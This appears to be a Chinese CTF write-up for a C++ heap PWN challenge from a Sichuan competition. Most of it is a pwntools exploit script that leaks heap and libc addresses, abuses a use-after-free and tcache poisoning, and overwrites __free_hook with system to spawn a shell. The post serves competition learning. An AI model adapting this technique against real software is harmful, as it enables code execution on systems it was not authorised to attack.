四川省网络安全技能大赛 PWN一题wp

原创

Azly 于 2021-09-06 15:13:44 发布 477 收藏
分类专栏： CTF PWN 文章标签： 系统安全 安全 安全架构

前言：没做过c++的题，也不知道怎么找漏洞，貌似这道题在id输入大量的数据，当数据爆满时遇到非法的内存数据，会让你重新输入，能够泄露出我们是堆和libc地址

貌似这道题解法是这，难点在泄露，当我们成功泄露出heap，可以利用uaf，进行edit成大堆块进而去打

exp：

```
from pwn import *
p=process('./classroom')
elf=ELF('./classroom')
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.log_level='debug'
def add(idx,name):
 p.sendlineafter('>','1')
 p.sendlineafter('>',str(idx))
 p.sendlineafter('>',name)

def delete(idx):
 p.sendlineafter('>','2')
 p.sendlineafter('>',str(idx))

def edit(idx,name):
 p.sendlineafter('>','3')
 p.sendlineafter('>',str(idx))
 p.sendlineafter('>',name)


for i in range(2):
 add(i,'aaaa')

for i in range(2):
 delete(i)


p.sendlineafter('>','1')
p.sendlineafter('>','a'*0x1000)

p.sendline('1')
```

```
p.recvuntil('Welcome my student :')
heap=u64(p.recv(6).ljust(8,'\x00'))
tcache=heap-0x55a9d6062eb0+0x55a9d6051090
fake_chunk=heap-0x55b599377eb0+0x55b599377900
success('heap:'+hex(heap))

edit(1,p64(fake_chunk+8))

add(2,'aaaa')

add(3,p64(0x5a1))

delete(0)

delete(1)

edit(1,p64(fake_chunk+0x10))

add(4,'bbbb')
gdb.attach(p)
add(5,'ffff')
delete(5)

p.sendlineafter('>','1')
p.sendlineafter('>','a'*0x1000)
p.sendline('5')
p.recvuntil('Welcome my student :')
libc_base=u64(p.recv(6).ljust(8,'\x00'))+0x7ff826347000-0x7ff826532be0
success('libc_base:'+hex(libc_base))

delete(0)
delete(1)
edit(1,p64(libc_base+libc.sym['__free_hook']))
add(6,'/bin/sh\x00')
add(7,p64(libc_base+libc.sym['system']))

delete(6)


#gdb.attach(p)

p.interactive()
```

总结:没做过c++的题，c++需多机制都不是很明白，哎，太菜拉我